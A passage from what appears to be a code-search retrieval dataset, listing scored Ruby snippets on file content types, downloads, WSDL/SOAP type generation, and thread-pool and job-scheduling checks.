file.nil?\n\n client.connection.stream(file[:url], destination)\n }\n end", "title": "" }, { "docid": "c4aaf33e24df771bf1e1d6d896392782", "score": "0.5132364", "text": "def write_content_types_file\n content = Package::ContentTypes.new(@workbook)\n\n content.add_image_types\n content.add_worksheet_names\n content.add_chartsheet_names\n content.add_chart_names\n content.add_drawing_names\n content.add_vml_name if @workbook.num_vml_files > 0\n content.add_table_names(@table_count)\n content.add_comment_names\n # Add the sharedString rel if there is string data in the workbook.\n content.add_shared_strings unless @workbook.shared_strings_empty?\n # Add vbaProject if present.\n content.add_vba_project if @workbook.vba_project\n # Add the custom properties if present.\n content.add_custom_properties unless @workbook.custom_properties.empty?\n # Add the metadata file if present.\n content.add_metadata if @workbook.has_metadata?\n\n content.set_xml_writer(\"#{@package_dir}/[Content_Types].xml\")\n content.assemble_xml_file\n end", "title": "" }, { "docid": "5db219395b8094611f060e9ebc3cf77e", "score": "0.51203436", "text": "def gen_downloaded_files_names file_type\n\t\troot_path = Dir.pwd\n\t\tfiles = Array.new\n\t\tif OS_TYPE == OS_WINDOWS\n\t\t\tfile_path = root_path+$upload_file_path\n\t\t\tfilepath = file_path.gsub(\"/\", \"\\\\\")\n\t\telse\n\t\t\tfilepath = root_path+$upload_file_path\n\t\tend\n\t\tDir.chdir(filepath)\n\t\tif file_type == \".csv\"\n\t\t\tfiles = Dir[\"*.csv\"]\n\t\telsif file_type == \".xls\"\n\t\t\tfiles = Dir[\"*.xls\"]\n\t\telsif file_type == \".json\"\n\t\t\tfiles = Dir[\"*.json\"]\n\t\telsif file_type == ALL_TYPE_FILES\n\t\t\tfiles = Dir[\"*.*\"]\n\t\telse \n\t\t\tputs \"no file present as of type: \" + file_type\t\t\t\n\t\tend\n\t\tDir.chdir(root_path)\n\t\treturn files\n\tend", "title": "" }, { "docid": "35039e30b36bed41f505fd41b4405a3c", "score": "0.5115136", "text": "def inherent_types\n resource.type.map do |type|\n type if type.host =~ /pcdm|fedora|w3/\n end\n end", "title": "" }, { "docid": "55378edf2113f529be9c436498e01f58", "score": "0.50810283", "text": "def get_class_path(type)\n base = \"HealthVault::WCData::\"\n comp = type.split(':')\n @namespaces.each do |k,v|\n if comp[0] == k\n return base + v + \"::#{classify(type.gsub(/.*:/, ''))}\"\n end\n end\n #TODO: parse xsd primatives\n return \"String\"#base + classify(type.gsub(/wc-.*:/, ''))\n end", "title": "" }, { "docid": "e2d5a037929a3b6f8fb9ac01d555c6a4", "score": "0.5074409", "text": "def build_download_refs(document)\n document.download = download\n document.url = url\n document.thumbnail = thumbnail\n document.wxs_identifier = wxs_identifier\n document.wms_path = wms_path\n document.wmts_path = wmts_path\n document.wfs_path = wfs_path\n document.wcs_path = wcs_path\n document.xyz_path = xyz_path\n end", "title": "" }, { "docid": "ecf192c25cea5bf2c583f0422399fd64", "score": "0.5050339", "text": "def item_type_to_fetch\n if (item_types = config[\"netsuite_item_types\"]).present?\n item_types.split(\";\").map(&:strip).map do |item_type|\n # need this hack because of inconsistent type naming\n # https://github.com/spree/netsuite_endpoint/issues/7#issuecomment-41196467\n case item_type\n when 'AssemblyItem'\n '_assembly'\n when 'KitItem'\n '_kit'\n else\n \"_#{item_type[0].downcase}#{item_type[1..-1]}\"\n end\n end\n else\n ['_inventoryItem']\n end\n end", "title": "" }, { "docid": "959f31e957ea3aeec62d303d3f119477", "score": "0.5039384", "text": "def wsdl\n 'wsdl.xml'\n end", "title": "" }, { "docid": "7de576c02f5999cca1f07693e6430b5d", "score": "0.50377977", "text": "def content_types; end", "title": "" }, { "docid": "328084144e8eb954067fad34e3ce77f6", "score": "0.5031365", "text": "def index\n services = (\"Service::\" + params[:type]).constantize.get_available(:all)\n render :xml => services.to_xml(:root => :services, :except => :config)\n end", "title": "" }, { "docid": "62e9f15046cb7e27bd0c022820c75c0c", "score": "0.5023556", "text": "def generate\n sensu_api_types = []\n Dir[File.join(File.dirname(__FILE__), '../provider/sensu_*/sensu_api.rb')].each do |file|\n type = File.basename(File.dirname(file))\n sensu_api_types << type.to_sym\n end\n sensu_api_types.each do |type|\n provider_class = Puppet::Type.type(type).provider(:sensu_api)\n provider_class.url = self[:url]\n provider_class.username = self[:username]\n provider_class.password = self[:password]\n provider_class.validate_namespaces = self[:validate_namespaces]\n end\n []\n end", "title": "" }, { "docid": "f17f0f46275db9c9a18f4670baefcd9f", "score": "0.5023123", "text": "def proper_export_link(item)\n url_linl = nil\n ext = nil\n # Google docs process:docx pptx xlsx\n if item.mime_type =~ %r{application/vnd.google-apps.(document|presentation|spreadsheet)}\n # get export tokens\n if $1 == 'document'\n url_link = item.exportLinks['application/vnd.openxmlformats-officedocument.wordprocessingml.document'] \n ext = 'docx'\n elsif $1 == 'presentation'\n url_link = item.exportLinks['application/vnd.openxmlformats-officedocument.presentationml.presentation'] \n ext = 'pptx'\n elsif $1 == 'spreadsheet'\n url_link = item.exportLinks['application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'] \n ext = 'xlsx'\n\n end\n end\n return [url_link,ext]\n end", "title": "" }, { "docid": "646e83e6bf9944d0e5417618bbeb9a08", "score": "0.50145906", "text": "def type_uris=(_arg0); end", "title": "" }, { "docid": "6da75bc9b9935fc7dde42932dba079d8", "score": "0.5014497", "text": "def sword_packagings\n Utility.find_element_by_namespace_and_name(extensions, \"http://purl.org/net/sword/terms/\", \"packaging\")\n end", "title": "" }, { "docid": "e0c3490d5d2a1db9c7ece83fe7e99e45", "score": "0.5009455", "text": "def generate_type(type_name)\n \n check_wasabi_document()\n \n type_class = EbayClient.wsdl_classes[type_name.to_sym] || create_type(type_name)\n \n type_class.new()\n end", "title": "" }, { "docid": "7015df682f2c1fe9587df9e67cb738e4", "score": "0.5009183", "text": "def service_imports(schema, service, package)\n pkg = options[:namespace]\n pkg = capitalize_package(remove_tld_in_package(convert_ns_to_package(pkg))) if pkg.present?\n\n # mandatory references\n list = [\"System\"]\n\n # import request and response of operations\n service.operations.each do |name, definition|\n if (definition.request_property)\n if (pkg.present?)\n list.push(pkg)\n else\n list.push(capitalize_package(remove_tld_in_package(convert_ns_to_package(schema.data_types[validate_class_name(definition.request_property.type)].package || package))))\n end\n end\n if (definition.response_property)\n if (pkg.present?)\n list.push(pkg)\n else\n list.push(capitalize_package(remove_tld_in_package(convert_ns_to_package(schema.data_types[validate_class_name(definition.response_property.type)].package || package))))\n end\n end\n if (definition.fault_property)\n if (pkg.present?)\n list.push(pkg)\n else\n list.push(capitalize_package(remove_tld_in_package(convert_ns_to_package(schema.data_types[validate_class_name(definition.fault_property.type)].package || package))))\n end\n end\n end\n\n # mandatory imports\n list += ServiceImportWSDL\n list.uniq.sort\n end", "title": "" }, { "docid": "c5c5a829fd3799a0fe7838dd5f4a6d54", "score": "0.5005707", "text": "def client_download_info_hash(type)\n client_type_ele = all(:xpath,\"//div[preceding-sibling::h3[1][text()='#{type}']]\") \n download_info_hashes = {}\n platform = ''\n client_type_ele.each { |ele|\n if ['Windows','Mac','Linux'].include?(ele.text)\n platform = ele.text\n download_info_hashes[platform] = ''\n else\n download_info_hashes[platform] += ele.text\n end\n }\n download_info_hashes\n end", "title": "" }, { "docid": "b9f489301e1372243367669a4773d533", "score": "0.4997746", "text": "def base_types\n @base_types ||= begin\n query = \"app:collection[cra:collectionType[child::text() = 'types']]/@href\"\n href = data.xpath(query, NS::COMBINED)\n if href.first\n url = href.first.text\n Collection.new(self, url) do |entry|\n id = entry.xpath(\"cra:type/c:id\", NS::COMBINED).text\n type_by_id id\n end\n else\n raise \"Repository has no types collection, this is strange and wrong\"\n end\n end\n end", "title": "" }, { "docid": "a35ff55f8f95b7e7d0c82d28d6bc542c", "score": "0.4956471", "text": "def services\n @wsdl.services\n end", "title": "" }, { "docid": "c90f55711ffe1cc0f19ed917a87b6462", "score": "0.4956191", "text": "def bd_item_types\n %w[6-Week]\nend", "title": "" }, { "docid": "b43bd7831bc18d032bd23f438eec45f7", "score": "0.4945195", "text": "def download_resource_descriptions\n system \"rm api_docs/*.json\"\n system \"rm lib/wordnik/resource_modules/*.rb\"\n\n Wordnik::Request.new(:get, \"resources.json\").response.body['apis'].each do |api|\n resource_name = api['path'].split(\".\").first.gsub(/\\//, '')\n description = api['description']\n puts \" #{resource_name} #{description}\"\n request = Wordnik::Request.new(:get, \"#{resource_name}.json\")\n filename = \"api_docs/#{resource_name}.json\"\n File.open(filename, 'w') {|f| f.write(request.response.raw.body) }\n end\n end", "title": "" }, { "docid": "ca8175b842136706feb37785d1f8baea", "score": "0.4943428", "text": "def generate_types\n pal.generate_types(cache: true)\n end", "title": "" }, { "docid": "368e7529a9ecf0ada8aff9468787ef6c", "score": "0.49380547", "text": "def process_types(doc)\n REXML::XPath.each(doc, '//schema') do |schema|\n ns_index = process_namespace(schema)\n complex_types = get_complex_types(schema)\n simple_types = get_simple_types(schema)\n (complex_types + simple_types).each do |ctype|\n ctype_name = get_element_name(ctype)\n @soap_types << extract_type(ctype, ns_index)\n if ctype_name.match('.+Exception$')\n @soap_exceptions << extract_exception(ctype)\n end\n end\n end\n end", "title": "" }, { "docid": "330f799127124bdaa74bd29410fefabc", "score": "0.493767", "text": "def get_types(dsn, segments = [])\t# argument 'type' is deprecated\n types = TYPES.new\n\n dsn = dsn.source if dsn.instance_of?(DSN)\n segments = [segments] if segments.instance_of?(SEGMENT)\n\n opts = []\n segments.each do |s|\n opts << \"segment=#{s.entry_id}:#{s.start},#{s.stop}\"\n end\n query = opts.join(';')\n\n result, = @server.get(@prefix + '/das/' + dsn + '/types?' + query)\n doc = REXML::Document.new(result.body)\n doc.elements.each('/descendant::GFF') do |e|\n types.version = e.attributes['version']\n types.href = e.attributes['href']\n e.elements.each do |e|\n segment = SEGMENT.new\n segment.entry_id = e.attributes['id']\n segment.start = e.attributes['start']\n segment.stop = e.attributes['stop']\n segment.version = e.attributes['version']\n segment.label = e.attributes['label']\n e.elements.each do |e|\n t = TYPE.new\n t.entry_id = e.attributes['id']\n t.method = e.attributes['method']\n t.category = e.attributes['category']\n t.count = e.text.to_i\n segment.types << t\n end\n types.segments << segment\n end\n end\n types\n end", "title": "" }, { "docid": "1dbc633d6f2473d8de1f5f20c6108526", "score": "0.49308416", "text": "def list_types\n puts \"Getting available shop types from \\\"#{@product_uri}\\\"\"\n\n types = []\n\n products_of_each_page do |products|\n types += products.map { |product| product['product_type'] }\n end\n\n types.uniq\n end", "title": "" }, { "docid": "acea0708844d885d686a8b144dc9ed09", "score": "0.49183393", "text": "def service_element; end", "title": "" }, { "docid": "741f18cb5b1feb8f233607b8d1666967", "score": "0.49139363", "text": "def allowed_types\n [Entities::NetSvc]\nend", "title": "" }, { "docid": "741f18cb5b1feb8f233607b8d1666967", "score": "0.49139363", "text": "def allowed_types\n [Entities::NetSvc]\nend", "title": "" }, { "docid": "8287a1891345e3adb176a33df2fb24ee", "score": "0.49019462", "text": "def base_content_types; end", "title": "" }, { "docid": "5dbed83de01e338533243dccc1cc3c93", "score": "0.49009094", "text": "def downloadWebResource(url, clrmPackage)\n clrmPackage[ext(url)][File.basename(url)] = Net::HTTP.get(URI(url))\n clrmPackage\nend", "title": "" }, { "docid": "9199dcd2dee7b139e883cd8b812ed4bf", "score": "0.48999086", "text": "def service_types_generated\n raise Exception.new(\"#{self.class}: service_types_generated() must be implemented by Service concrete sub-class!\")\n end", "title": "" }, { "docid": "31ad07d973519c4b5a16162a98d1715b", "score": "0.48951805", "text": "def service\n \"WFS\"\n end", "title": "" }, { "docid": "cd397e9edd5c6a98ae87d0ed37767dca", "score": "0.4894507", "text": "def request_type_classes(holding, copy = nil)\n request_types(holding, copy).map { |type| \"type-#{type}\" }\n end", "title": "" }, { "docid": "3b9ede2b6cd2b1f937f4ea0ff712c0c8", "score": "0.48933637", "text": "def spec_file(type)\n res = 'docs/active_docs/Service Management API'\n res << ' (on-premises)' if type == :on_prem\n \"#{res}.json\"\nend", "title": "" }, { "docid": "e99c94d9539c157331edfdb12bc4c6bc", "score": "0.48849908", "text": "def allowed_types\n [ Entities::NetSvc ]\nend", "title": "" }, { "docid": "e52f664f53508f3f462961aa4bda49cd", "score": "0.48761037", "text": "def wdl_import_url\n \"https://api.firecloud.org/ga4gh/v1/tools/#{self.namespace}:#{self.name}/versions/#{self.snapshot}/plain-WDL/descriptor\"\n end", "title": "" }, { "docid": "e5472c423d234a1f28a567202bfb9f3e", "score": "0.48759228", "text": "def available_content_types\n api_file.web_content_link ? [api_file.mime_type] : []\n end", "title": "" }, { "docid": "1af0a9420f773512767821ca65dc38aa", "score": "0.48754615", "text": "def download_firmware(model,fw_urls,fw_text,latest_only,counter)\n download_file = \"\"\n wrong_file = \"\"\n existing_file = []\n if !fw_urls[model]\n if $verbose == 1\n puts \"No download URLs for \"+model+\"\\n\"\n end\n return\n end\n patch_url = fw_urls[model][counter]\n patch_text = fw_text[model][counter]\n if patch_url.match(/oracle/)\n (download_url,file_name) = get_oracle_download_url(model,patch_text,patch_url)\n else\n download_url = patch_url\n file_name = File.basename(patch_url)\n end\n if !download_url\n return\n end\n download_dir = $firmware_dir+\"/\"+model.downcase\n download_file = download_dir+\"/\"+file_name\n if !Dir.exist?(download_dir)\n Dir.mkdir(download_dir)\n end\n check_file_type(download_file)\n if !File.exist?(download_file) and !File.symlink?(download_file)\n if $file_list\n existing_file = $file_list.select {|existing_file| existing_file =~ /#{file_name}/}\n end\n if existing_file[0]\n existing_file = existing_file[0]\n dir_name = Pathname.new(download_file)\n dir_name = dir_name.dirname\n if !Dir.exist?(dir_name)\n begin\n Dir.mkdir(dir_name)\n rescue\n puts \"Cannot create directory \"+dir_name\n exit\n end\n end\n if existing_file != download_file\n if $verbose == 1\n puts \"Found \"+existing_file+\"\\n\"\n puts \"Symlinking \"+existing_file+\" to \"+download_file+\"\\n\"\n end\n File.symlink(existing_file,download_file)\n end\n else\n if download_url.match(/oracle/) and download_url.match(/zip$/)\n get_mos_url(download_url,download_file)\n else\n get_download(download_url,download_file)\n end\n end\n else\n if $verbose == 1\n puts \"File \"+download_file+\" already exists\"\n end\n end\n return\nend", "title": "" }, { "docid": "f0a5ba91aaa0f3bd5d49bd60475482d6", "score": "0.48662353", "text": "def types\n @types ||= @api_info.fetch(\"types\")\n end", "title": "" }, { "docid": "4f1cd2db0e282a70f8bee75284046a10", "score": "0.4864729", "text": "def imports(data_type, schema, package, classname, schema_format, operation_input = false)\n pkg = options[:namespace]\n pkg = capitalize_package(remove_tld_in_package(convert_ns_to_package(pkg))) if pkg.present?\n\n # mandatory references\n list = [\"System\"]\n\n if (schema_format == \"rest\")\n list.push(\"Newtonsoft.Json\")\n list.push(\"Newtonsoft.Json.Serialization\")\n end\n\n list.push(\"PayPal\")\n data_type.properties.each do |name, property|\n type = schema.data_types[property.type] || schema.enum_types[property.type]\n if (type)\n if (pkg.present?)\n list.push(pkg)\n else\n # TODO fix this when definition namespace fixes\n defpkg = capitalize_package(remove_tld_in_package(convert_ns_to_package(type.package || package)))\n list.push(defpkg)\n end\n end\n list.push(\"System.Collections\") if property.array\n list.push(\"System.Collections.Generic\") if property.array\n end\n\n # Add references for members of parent datatype\n # flatten classes for wsdl\n if schema.instance_of? Genio::Parser::Format::Wsdl\n x_type = schema.data_types[data_type.extends]\n while x_type\n x_type.properties.each do |name, property|\n type = schema.data_types[property.type] || schema.enum_types[property.type]\n if (type)\n if (pkg.present?)\n list.push(pkg)\n else\n # TODO fix this when definition namespace fixes\n defpkg = capitalize_package(remove_tld_in_package(convert_ns_to_package(type.package || package)))\n list.push(defpkg)\n end\n end\n list.push(\"System.Collections\") if property.array\n list.push(\"System.Collections.Generic\") if property.array\n end\n x_type = schema.data_types[x_type.extends]\n end\n end\n\n # Add reference for request and response type\n # of operations: Applies to REST services\n service = schema.services[classname]\n if service\n service.operations.each do |name, operation|\n if operation.response\n if (pkg.present?)\n list.push(pkg)\n else\n list.push(capitalize_package(remove_tld_in_package(convert_ns_to_package(schema.data_types[operation.response].try(:package) || package))))\n end\n end\n if operation.request\n if (pkg.present?)\n list.push(pkg)\n else\n list.push(capitalize_package(remove_tld_in_package(convert_ns_to_package(schema.data_types[operation.request].try(:package) || package))))\n end\n end\n end\n end\n\n list += ServiceImportREST if schema.services[classname]\n list += StubImportWSDL if (schema_format == \"soap\")\n #TODO fix for XMLSerialization\n list += [] if (operation_input && (schema_format == \"soap\"))\n list.uniq.sort\n end", "title": "" }, { "docid": "8736f059d17b49199e689d372c21caf9", "score": "0.48547468", "text": "def process_types\n {\n \"Borrowing\": \"Borrowing\",\n \"Lending\": \"Lending\",\n \"Doc Del\": \"Document Delivery\"\n }\n end", "title": "" }, { "docid": "e82d7b35bdbd3c4edbcc232af3ab252d", "score": "0.48459205", "text": "def write_all\n [:js, :css, :img].each do |type|\n where(spec[type]).download(type) if spec[type]\n end\n end", "title": "" }, { "docid": "cd89711ad801dd0cada8555c6fa72106", "score": "0.48386833", "text": "def package_types\n case Ohai['platform_family']\n when 'debian'\n %w(deb)\n when 'fedora', 'rhel'\n %w(rpm)\n when 'aix'\n %w(bff)\n when 'solaris2'\n %w(pkgmk)\n when 'windows'\n %w(msi)\n when 'mac_os_x'\n %w(mac_pkg mac_dmg)\n else\n %w(makeself)\n end\n end", "title": "" }, { "docid": "72c5dc8c58fc86bf44a2c5d883779587", "score": "0.4835143", "text": "def get_storage_types\n JSON.parse(RestClient.get(\"https://#{region.sub(/-\\d$/, '')}.power-iaas.cloud.ibm.com/broker/v1/storage-types\", headers))\n end", "title": "" }, { "docid": "edf8b68afbd8f767cdb793b2317eb113", "score": "0.48273435", "text": "def get_list_content_types(name, content_type_id = nil)\n soapmsg = build_soap_envelope do |type, builder|\n if(type == :header)\n else\n builder.GetListContentTypes {\n builder.parent.default_namespace = @default_ns\n builder.listName(name)\n builder.contentTypeId(content_type_id)\n }\n end\n end\n soaprsp = Nokogiri::XML(send_soap_request(soapmsg.doc.to_xml))\n end", "title": "" }, { "docid": "b8a0d4ddf17054742ef98d25b4372164", "score": "0.4825174", "text": "def tf_types\n {\n Api::Type::Boolean => 'schema.TypeBool',\n Api::Type::Double => 'schema.TypeFloat',\n Api::Type::Integer => 'schema.TypeInt',\n Api::Type::String => 'schema.TypeString',\n # Anonymous string property used in array of strings.\n 'Api::Type::String' => 'schema.TypeString',\n Api::Type::Time => 'schema.TypeString',\n Api::Type::Enum => 'schema.TypeString',\n Api::Type::ResourceRef => 'schema.TypeString',\n Api::Type::NestedObject => 'schema.TypeList',\n Api::Type::Array => 'schema.TypeList',\n Api::Type::NameValues => 'schema.TypeMap'\n }\n end", "title": "" }, { "docid": "d16fd22186c9085581f9e526b31a6d76", "score": "0.48201615", "text": "def get_wsdls(version)\n res = {}\n services(version).each do |service|\n if (!address_config().nil?)\n path = address_config()[version][service][default_environment()].to_s\n end\n res[service.to_s] = path || \"\"\n end\n return res\n end", "title": "" }, { "docid": "97166a335ebd0b29fc09e516cb67114b", "score": "0.48148096", "text": "def all_downloads\n downloads = {}\n self.current_and_discontinued_products([:product_documents, :product_attachments]).each do |product|\n product.product_documents.each do |product_document|\n key = product_document.document_type.parameterize\n doctype = (product_document.document_type.blank?) ? \"Misc\" : I18n.t(\"document_type.#{product_document.document_type}\")\n if !product_document.language.blank?\n doctype = \"#{I18n.t(\"language.#{product_document.language}\")} #{doctype}\" unless doctype.to_s.match(/CAD/)\n key = I18n.t(\"language.#{product_document.language}\", locale: 'en') + \"-#{key}\"\n end\n if I18n.locale.to_s.match(/^en/i) || product_document.language.to_s.match(/^en/i) || I18n.locale.to_s.match(/#{product_document.language.to_s}/i)\n downloads[key] ||= {\n param_name: key.parameterize,\n name: I18n.locale.match(/zh/i) ? doctype : doctype.pluralize,\n downloads: []\n }\n #link_name = !!(doctype.match(/other/i)) ? product_document.document_file_name : ContentTranslation.translate_text_content(product, :name)\n downloads[key][:downloads] << {\n name: product_document.name,\n file_name: product_document.document_file_name,\n url: product_document.document.url,\n path: product_document.document.path\n }\n end\n end\n # images need better name (non-redundant)\n product.product_attachments.each do |product_attachment|\n if product_attachment.is_photo?\n key = \"photo\"\n doctype = I18n.t(\"document_type.photo\")\n downloads[key] ||= {\n param_name: key.parameterize,\n name: I18n.locale.match(/zh/i) ? doctype : doctype.pluralize,\n downloads: []\n }\n begin\n thumbnail = product_attachment.product_attachment.url(:tiny_square)\n rescue\n thumbnail = nil\n end\n downloads[key][:downloads] << {\n name: product_attachment.product_attachment_file_name,\n file_name: product_attachment.product_attachment_file_name,\n thumbnail: thumbnail,\n url: product_attachment.product_attachment.url,\n path: product_attachment.product_attachment.path\n }\n end\n end\n # product.softwares.each do |software|\n # doctype = \"Software\"\n # downloads[doctype.parameterize] ||= {param_name: doctype.parameterize, name: doctype, downloads: []}\n # downloads[doctype.parameterize][:downloads] << {name: software.formatted_name, url: download_software_url(software)}\n # end\n # if downloads[\"Software\".parameterize]\n # downloads[\"Software\".parameterize][:downloads].uniq!\n # end\n end\n self.site_elements.where(show_on_public_site: true).where(\"resource_type IS NOT NULL AND resource_type != ''\").each do |site_element|\n name = I18n.t(\"resource_type.#{site_element.resource_type_key}\", default: site_element.resource_type)\n downloads[site_element.resource_type.parameterize] ||= {\n param_name: site_element.resource_type.parameterize,\n name: I18n.locale.match(/zh/i) ? name : name.to_s.pluralize,\n downloads: []\n }\n thumbnail = nil\n if site_element.external_url.present?\n downloads[site_element.resource_type.parameterize][:downloads] << {\n name: site_element.name,\n file_name: site_element.url,\n thumbnail: nil,\n url: site_element.url,\n path: site_element.url\n }\n elsif site_element.resource_file_name.present? #&& site_element.is_image?\n if site_element.is_image?\n thumbnail = site_element.resource.url(:tiny_square)\n end\n downloads[site_element.resource_type.parameterize][:downloads] << {\n name: site_element.name,\n file_name: site_element.resource_file_name,\n thumbnail: thumbnail,\n url: site_element.resource.url,\n path: site_element.resource.path\n }\n elsif site_element.executable_file_name.present?\n downloads[site_element.resource_type.parameterize][:downloads] << {\n name: site_element.name,\n file_name: site_element.executable_file_name,\n thumbnail: nil,\n url: site_element.executable.url,\n path: site_element.executable.path\n }\n end\n end\n downloads\n end", "title": "" }, { "docid": "5552b7cb3ab2b2f5b204fdb6e9d5fde9", "score": "0.48112947", "text": "def generate_soap_classes\n unless File.file?(wsdl_path)\n raise Errno::ENOENT, \"Could not find the WSDL at #{wsdl_path}\"\n end\n\n FileUtils.mkdir_p(wsdl_api_dir)\n\n generate_files unless files_exist?\n\n $:.push wsdl_api_dir\n require \"#{module_name}Driver\"\n $:.delete wsdl_api_dir\n end", "title": "" }, { "docid": "e2ac3597ffff54bded968b765550a933", "score": "0.4805534", "text": "def retrieve_entity_types()\n start.uri('/api/entity/type')\n .get()\n .go()\n end", "title": "" }, { "docid": "53565bffedf44fc086036e7faef8b90e", "score": "0.48035732", "text": "def create_type(type_name)\n class_attributes = Array.new()\n \n #puts \"[create_type] looking up type name: #{type_name}\"\n @parser.types[type_name].keys.each() do |m|\n \n attr = if (m.is_a?(Symbol)) then m else m.snakecase.to_sym end\n class_attributes << attr\n \n end\n \n wsdl_class = create_class_for_wsdl_type(type_name, class_attributes)\n \n EbayClient.wsdl_classes[type_name.to_sym] = wsdl_class\n wsdl_class\n end", "title": "" }, { "docid": "cd068909835570d935f874d38362f371", "score": "0.48032856", "text": "def get_all_demographic_types(bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/demographics/dataTypes/\"\n path += bookmark.to_s if bookmark != ''\n _get(path)\n # returns paged result set of DemographicsDataType JSON blocks\nend", "title": "" }, { "docid": "f5daadd0a50384ce07be786aa3f6dbad", "score": "0.48029783", "text": "def package_xml(listOfFolder)\n xml = Builder::XmlMarkup.new( :indent => 4 )\n xml.instruct! :xml, :encoding => \"UTF-8\"\n xml.Package( \"xmlns\" => \"http://soap.sforce.com/2006/04/metadata\" ) do |p|\n\tlistOfFolder.each do |item|\n\t\tp.types {\n\t\t\t|t|\n\t\t\tt.members \"*\"\n\t\t\tt.name $namesMap[item]\n\t\t}\n\tend\n\tp.version \"#{$API_VERSION}\"\n end\nend", "title": "" }, { "docid": "d0b613506ccf8c23ff13ca6d2d26aaf9", "score": "0.48020548", "text": "def get_types\n return {\n 'eot' => {\n 'useragent' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)',\n 'format' => 'eot'\n },\n 'ttf' => {\n 'useragent' => 'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Nexus S Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n 'format' => 'truetype'\n },\n 'woff' => {\n 'useragent' => 'Mozilla/5.0 (Windows NT 5.2; rv:33.0) Gecko/20100101 Firefox/33.0',\n 'format' => 'woff'\n },\n 'woff2' => {\n 'useragent' => 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36',\n 'format' => 'woff2'\n }\n }\n end", "title": "" }, { "docid": "23d52b1577c61814f70f33552a526b96", "score": "0.48017955", "text": "def generate\n files = []\n\n gem = Gapic::Presenters.gem_presenter @api\n\n gem.packages.each do |package|\n # Package level files\n files << g(\"package.erb\", \"lib/#{package.package_file_path}\", package: package)\n package.services.each do |service|\n # Service level files\n files << g(\"service.erb\", \"lib/#{service.service_file_path}\", service: service)\n files << g(\"service/client.erb\", \"lib/#{service.client_file_path}\", service: service)\n files << g(\"service/credentials.erb\", \"lib/#{service.credentials_file_path}\", service: service)\n files << g(\"service/paths.erb\", \"lib/#{service.paths_file_path}\", service: service) if service.paths?\n files << g(\"service/operations.erb\", \"lib/#{service.operations_file_path}\", service: service) if service.lro?\n end\n end\n\n # Gem level files\n files << g(\"gem/version.erb\", \"lib/#{gem.version_file_path}\", gem: gem)\n\n gem.proto_files.each do |proto_file|\n files << g(\"proto_docs/proto_file.erb\", \"proto_docs/#{proto_file.docs_file_path}\", file: proto_file)\n end\n files << g(\"proto_docs/readme.erb\", \"proto_docs/README.md\", gem: gem)\n\n format_files files\n\n files\n end", "title": "" }, { "docid": "214ee423f63a77b501465bed431a7591", "score": "0.48005596", "text": "def base_content_types\n c_types = ContentType.new\n c_types << Default.new(ContentType: RELS_CT, Extension: RELS_EX)\n c_types << Default.new(Extension: XML_EX, ContentType: XML_CT)\n c_types << Override.new(PartName: \"/#{APP_PN}\", ContentType: APP_CT)\n c_types << Override.new(PartName: \"/#{CORE_PN}\", ContentType: CORE_CT)\n c_types << Override.new(PartName: \"/xl/#{STYLES_PN}\", ContentType: STYLES_CT)\n c_types << Axlsx::Override.new(PartName: \"/#{WORKBOOK_PN}\", ContentType: WORKBOOK_CT)\n c_types.lock\n c_types\n end", "title": "" } ]
14b63a061f77491fa9090789fc858f9e
Returns true if the relation was scheduled on the background thread pool.
[ { "docid": "01958ebdbe51220ae0a4c7f2a29664e5", "score": "0.6839264", "text": "def scheduled?\n !!@future_result\n end", "title": "" } ]
[ { "docid": "4fdbfd91528acd24d9cf463b615680da", "score": "0.7137162", "text": "def started?\n @thread_pool&.running?\n end", "title": "" }, { "docid": "4fdbfd91528acd24d9cf463b615680da", "score": "0.7137162", "text": "def started?\n @thread_pool&.running?\n end", "title": "" }, { "docid": "242264c206a0067d05559fae1e519fd8", "score": "0.6940357", "text": "def scheduled?\n downcased_state == SCHEDULED\n end", "title": "" }, { "docid": "b11feca65d7928f0897b5a01d9f086fb", "score": "0.68687797", "text": "def scheduled?() job && job.run_at > job.created_at end", "title": "" }, { "docid": "44d6a7ad627aa7d8f84d75a51185377d", "score": "0.6849949", "text": "def on_threadpool?\n tp = nil\n\n @mutex.synchronize do\n return false unless @threadpool # you can't dup nil\n tp = @threadpool.dup\n end\n\n tp.respond_to?(:include?) and tp.include?(Thread.current)\n end", "title": "" }, { "docid": "10fef5351cb5c15116c7cc12da7c1f49", "score": "0.68265337", "text": "def status_will_change?\n queued? || running?\n end", "title": "" }, { "docid": "4a2f13359982dd1905acb0994c9640c8", "score": "0.67630666", "text": "def on_threadpool?\n tp = @mutex.synchronize { @threadpool.dup }\n tp and tp.respond_to?(:include?) and tp.include?(Thread.current)\n end", "title": "" }, { "docid": "f4a526bf4103625e4620088158150b79", "score": "0.6736881", "text": "def ticking?\n @thread && @thread.alive?\n end", "title": "" }, { "docid": "50941b80f34e30199489e729c78315d0", "score": "0.670071", "text": "def running?\n @activity_thread_running\n end", "title": "" }, { "docid": "7ab8422c8dcd52a216ed98d5533dc35c", "score": "0.66743773", "text": "def running?\n # If the #running? method is being called for but the job hasn't started, reload\n # to check to see if it has been assigned\n self.reload if started_at.nil? || completed_at.nil?\n\n started_at && !completed_at\n end", "title": "" }, { "docid": "5f8aa3498836a53d18b022ec970263a8", "score": "0.6659294", "text": "def background_thread?\n @bg_thread && !@bg_thread.alive?\n end", "title": "" }, { "docid": "5f8aa3498836a53d18b022ec970263a8", "score": "0.6659294", "text": "def background_thread?\n @bg_thread && !@bg_thread.alive?\n end", "title": "" }, { "docid": "3e8ad7443f8d567a4750b1543dd383ae", "score": "0.66554546", "text": "def pending?\n queued? && !started?\n end", "title": "" }, { "docid": "3771a407161f4bb0c1e52b87ab63f6eb", "score": "0.6649739", "text": "def worker?\r\n @working_on != nil\r\n end", "title": "" }, { "docid": "13e05f610432b013f093be983f5a4f7e", "score": "0.66432655", "text": "def running?\n acts_as_task_task_queue && acts_as_task_task_queue.running? && state == 'running'\n end", "title": "" }, { "docid": "13e05f610432b013f093be983f5a4f7e", "score": "0.66432655", "text": "def running?\n acts_as_task_task_queue && acts_as_task_task_queue.running? && state == 'running'\n end", "title": "" }, { "docid": "97e82efe4100d8be199c46405e609281", "score": "0.66180575", "text": "def queued?\n ! 